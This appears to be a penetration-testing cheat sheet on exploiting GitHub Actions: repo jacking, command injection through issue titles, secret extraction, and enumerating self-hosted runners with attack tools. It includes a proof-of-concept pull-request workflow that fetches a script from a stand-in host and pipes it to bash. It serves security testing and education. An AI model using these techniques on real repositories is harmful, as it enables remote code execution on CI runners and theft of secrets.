# GitHub Actions ## Default Action The configuration files for GH actions are located in the directory `.github/workflows/`\ You can tell if the action builds pull requests based on its trigger (`on`) instructions: ```yaml on: push: branches: - master pull_request: ``` In order to run a command in an action that builds pull requests, add a `run` instruction to it. ```yaml jobs: print_issue_title: runs-on: ubuntu-latest name: Command execution steps: - run: echo whoami" ``` ## Misconfigured Actions Analyze repositories to find misconfigured Github actions. * [synacktiv/octoscan](https://github.com/synacktiv/octoscan) - Octoscan is a static vulnerability scanner for GitHub action workflows. * [boostsecurityio/poutine](https://github.com/boostsecurityio/poutine) - Poutine is a security scanner that detects misconfigurations and vulnerabilities in the build pipelines of a repository. It supports parsing CI workflows from GitHub Actions and Gitlab CI/CD. ```ps1 # Using Docker $ docker run ghcr.io/boostsecurityio/poutine:latest # Analyze a local repository $ poutine analyze_local . # Analyze a remote GitHub repository $ poutine -token "$GH_TOKEN" analyze_repo messypoutine/gravy-overflow # Analyze all repositories in a GitHub organization $ poutine -token "$GH_TOKEN" analyze_org messypoutine # Analyze all projects in a self-hosted Gitlab instance $ poutine -token "$GL_TOKEN" -scm gitlab -scm-base-uri https://example.com org/repo ``` ### Repo Jacking When the action is using a non-existing action, Github username or organization. ```yaml - uses: non-existing-org/checkout-action ``` > :warning: To protect against repojacking, GitHub employs a security mechanism that disallows the registration of previous repository names with 100 clones in the week before renaming or deleting the owner's account. [The GitHub Actions Worm: Compromising GitHub Repositories Through the Actions Dependency Tree - Asi Greenholts](https://www.paloaltonetworks.com/blog/prisma-cloud/github-actions-worm-dependencies/) ### Untrusted Input Evaluation An action may be vulnerable to command injection if it dynamically evaluates untrusted input as part of its `run` instruction: ```yaml jobs: print_issue_title: runs-on: ubuntu-latest name: Print issue title steps: - run: echo "${{github.event.issue.title}}" ``` ### Extract Sensitive Variables and Secrets **Variables** are used for non-sensitive configuration data. They are accessible only by GitHub Actions in the context of this environment by using the variable context. **Secrets** are encrypted environment variables. They are accessible only by GitHub Actions in the context of this environment by using the secret context. ```yml jobs: build: runs-on: ubuntu-latest environment: env steps: - name: Access Secrets env: SUPER_SECRET_TOKEN: ${{ secrets.SUPER_SECRET_TOKEN }} run: | echo SUPER_SECRET_TOKEN=$SUPER_SECRET_TOKEN >> local.properties ``` * [synacktiv/gh-hijack-runner](https://github.com/synacktiv/gh-hijack-runner) - A python script to create a fake GitHub runner and hijack pipeline jobs to leak CI/CD secrets. ## Self-Hosted Runners A self-hosted runner for GitHub Actions is a machine that you manage and maintain to run workflows from your GitHub repository. Unlike GitHub's own hosted runners, which operate on GitHub's infrastructure, self-hosted runners run on your own infrastructure. This allows for more control over the hardware, operating system, software, and security of the runner environment. Scan a public GitHub Organization for Self-Hosted Runners * [AdnaneKhan/Gato-X](https://github.com/AdnaneKhan/Gato-X) - Fork of Gato - Gato (Github Attack TOolkit) - Extreme Edition * [praetorian-inc/gato](https://github.com/praetorian-inc/gato) - GitHub Actions Pipeline Enumeration and Attack Tool ```ps1 gato -s enumerate -t targetOrg -oJ target_org_gato.json ``` There are 2 types of self-hosted runners: non-ephemeral and ephemeral. * **Ephemeral** runners are short-lived, created to handle a single or limited number of jobs before being terminated. They provide isolation, scalability, and enhanced security since each job runs in a clean environment. * **Non-ephemeral** runners are long-lived, designed to handle multiple jobs over time. They offer consistency, customization, and can be cost-effective in stable environments where the overhead of provisioning new runners is unnecessary. Identify the type of self-hosted runner with `gato`: ```ps1 gato e --repository vercel/next.js [+] The authenticated user is: swisskyrepo [+] The GitHub Classic PAT has the following scopes: repo, workflow - Enumerating: vercel/next.js! [+] The repository contains a workflow: build_and_deploy.yml that might execute on self-hosted runners! [+] The repository vercel/next.js contains a previous workflow run that executed on a self-hosted runner! - The runner name was: nextjs-hel1-22 and the machine name was nextjs-hel1-22 and the runner type was repository in the Default group with the following labels: self-hosted, linux, x64, metal [!] The repository contains a non-ephemeral self-hosted runner! [-] The user can only pull from the repository, but forking is allowed! Only a fork pull-request based attack would be possible. ``` Example of workflow to run on a non-ephemeral runner: ```yml name: POC on: pull_request: jobs: security: runs-on: non-ephemeral-runner-name steps: - name: cmd-exec run: | curl -k https://ip.ip.ip.ip/exec.sh | bash ``` ## References * [GITHUB ACTIONS EXPLOITATION: SELF HOSTED RUNNERS - Hugo Vincent - 17/07/2024](https://www.synacktiv.com/publications/github-actions-exploitation-self-hosted-runners) * [GITHUB ACTIONS EXPLOITATION: REPO JACKING AND ENVIRONMENT MANIPULATION - Hugo Vincent - 10/07/2024 ](https://www.synacktiv.com/publications/github-actions-exploitation-repo-jacking-and-environment-manipulation) * [GITHUB ACTIONS EXPLOITATION: DEPENDABOT - Hugo Vincent - 06/08/2024 ](https://www.synacktiv.com/publications/github-actions-exploitation-dependabot)